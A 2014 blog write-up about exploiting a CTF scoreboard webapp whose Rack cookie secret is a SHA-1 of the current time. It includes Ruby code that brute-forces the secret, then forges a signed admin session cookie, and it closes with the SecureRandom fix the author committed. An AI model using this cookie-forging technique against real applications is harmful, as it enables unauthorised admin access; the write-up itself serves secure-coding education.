« An Exercise in Weak Random Seed Exploitation »

04 April 2014

Last weekend I participated in a capture-the-flag event sponsored by Bishop Fox and ran by students at BYU. Following the event I decided that it may be fun to try and crack the scoring software itself – so I’ve written up the process here to explain how I put the exploit together.

Although spoofing client-side authentication tokens is nothing new (and the targeted framework in this case isn’t a widespread one like Rails or something similar), this exercise serves as a good, very simple example of taking a high-level problem like weak randomness and leveraging it to own an application.

Note: the only vulnerabilities mentioned here are within the framework itself and don’t have anything to do with the CTF’s sponsor or BYU itself. With that all being said, let’s get started!

Prelude: Rack Cookies

Before continuing, I recommend reading the entirety of an excellent blog entry which explains the plumbing behind how typical ruby rack-based webapps handle cookies. In a nutshell, ruby places a cookie on the client’s browser which it creates by first putting together a hash which looks something like this:

{ 'session_id' => '78894f58c088a9c6555370a0d97e373e715b91bc' }

Ruby then stores this client-side by 1) using Marshal.dump to serialize the data structure, 2) base 64 encoding the resulting string, and finally 3) calculating an HMAC of the message. Read up on HMACs if you’re unfamiliar, but they essentially provide message integrity checking, which ruby leverages to ensure you haven’t tampered with your cookie.

After performing these operations on the hash (dictionary if you’re a pythonista), ruby sends over a header of this form:

Set-Cookie:"rack.session={base64-encoded message body}--{hmac};"

An actual cookie would look like this, for example:

Set-Cookie:"rack.session=BAh7BkkiD3Nlc3Npb25faWQGOgZFVEkiRTViNDY1NjdkYTAzYjYwYTdlZGIy%0ANDg4NWEyMzVlY2E2YzRkYmM5M2IwYzgxZWJlMDc1NmQ0NGRmODE0ZjEzYjAG%0AOwBG%0A--2148e8dc04eeba3bf0f4e0d70c04465b61c4758d;"

An interesting side effect of this strategy is that the message body is entirely recoverable by the client – that is, you could deserialize the base 64 message and pull the original ruby object out again.

What lends credibility to the cookie from ruby’s perspective is that the HMAC must validate that the message body has essentially been “signed” by the secret key you define in the ruby code. Thus the process through which ruby’s cookie becomes tamper-proof follows the diagram below:

Simple HMAC diagram
Simple HMAC diagram

Of course, if you could forge your own cookie, you could set any parameter you want and thus control the internal session hash that the webapp uses. But without the key, your HMAC would fail to validate server-side.

Introduction

The CTF scoring engine in question is straightfoward Sinatra-based webapp that uses some fundamental Rails mechanisms like Rack and ActiveRecord to provide a simple yet useful CTF scoreboard. Go ahead and take a look at the code, it’s short and sweet.

One interesting behavior of the webapp is that, by default, no config file is committed to the codebase – instead, the config file is generated at runtime, which presumably happens after the git repo is cloned and left alone thereafter. The configuration file is created by the code below:

begin
  require './config.rb'
rescue Exception => e
  # create default config.rb
  open('./config.rb', "w+") {|f|
    f.puts <<-"EOS"
COOKIE_SECRET = "#{Digest::SHA1.hexdigest(Time.now.to_s)}"
ADMIN_PASS_SHA1 = "08a567fa1a826eeb981c6762a40576f14d724849" #ctfadmin
STYLE_SHEET = "/style.css"
HTML_TITLE = "scoreserver.rb CTF"
EOS
    f.flush
  }
  require './config.rb'
end

Note that the COOKIE_SECRET is the aforementioned key that is used to derive an HMAC of our session variable. You’ll notice that the secret is a SHA-1 of Time.now.to_s.

And therein lies our insufficiently random seed.

Underlying Cause

At this point it should be clear that the cookie secret needs to be… well… secret. The ability to spoof cookies (if you could generate a valid HMAC with the secret key) would give you complete control over session permissions.

The root vulnerability in this instance is very poor random seeding. In this code, the value we’re SHA1-hashing has only second-level precision, so we can brute force the entire domain of possible cookie secrets for a single day with only 60 × 60 × 24 attempts (which, in my testing, you can zip through pretty quickly.)

This would be marginally less bad if we were rate-limited in our brute forcing attempts, but because the cookie we’ve been given by ruby is the complete data structure, we don’t need to attempt to validate against the webapp with every attempt – we can simply attempt to recalculate the HMAC every time until we find the key that creates an identical HMAC to the one sent to us by the application.

Proof-of-concept

In order to determine whether we can actually duplicate the HMAC, let’s try it!

First, acquire the cookie and HMAC from the webapp. If you want to try this yourself, try cloning the scoreserver application and running it yourself (sorry, my ruby is terse, I know):

require 'faraday'

connection = Faraday.new(:url => 'http://localhost:4567')
response = connection.get '/'
cookie, hmac = response.headers[:'set-cookie'].split.first.chop.split('=').last.split('--')

Now we just need to create an instance of Time.now and create HMACs until ours matches the one passed to us by rack. We’ll decrease our time object by one second each iteration until we hit the matching time string that SHA1 hashes out to the session key:

require 'digest/sha1'
require 'openssl'

def create_hmac message, key
  OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, key, CGI.unescape(message))
end

seed = Time.now

while (hmac != create_hmac(cookie, Digest::SHA1.hexdigest(seed.to_s))) do
    seed -= 1
end

key = Digest::SHA1.hexdigest(seed.to_s)

Great, we’ve cracked the key! The key variable will allow us to create a valid HMAC that the rack application will accept as valid.

Exploitation

With the key recovered, we can just look at the application’s source to determine what we need to elevate our privileges to that of an admin. First, deserialize the cookie to recover the ruby data structure:

params = Marshal.load(Base64.decode64(CGI.unescape(cookie)))

After a brief look at the application source, we can modify our hash to grant ourselves admin privilieges:

params.merge!({ 'admin' => true })

Following which, we can reconstruct our cookie:

bad_cookie = CGI.escape(Base64.encode64(Marshal.dump(params)))
bad_hmac = create_hmac(bad_cookie, key)
header = "rack.session=#{bad_cookie}--#{bad_hmac};"

Bingo! Pop the contents of header into your Cookie HTTP header and smoke it. Admin privileges ahoy.

At this point it should be pretty straightforward to either masquerade with this forged cookie or continue to script your way to retrieve each challenge’s answer, which is left to the reader (the application’s source is useful for this.)

Mitigation

I’ve committed a change to the scoreserver code on my branch which you can see on github. The jist of it is that instead of generating the cookie secret with:

Digest::SHA1.hexdigest(Time.now.to_s)

The SecureRandom library is used instead:

SecureRandom.hex(20)

Which also gives us a 40-character random hex string that is sufficiently random (/dev/random on *nix and… whatever the equivalent is in Windows.)

Conclusion

Although this vulnerability is by no means a groundbreaking achievement, I found the process instructive for myself and hope that this writeup provided some additional insight to anyone interested in web application pen testing or secure coding practices. I know for myself that learning about weak cryptography has always been somewhat of a nebulous concept without concrete examples, and this example is an excellent illustration into how important random seeding can be.

ty@tjllgmail.net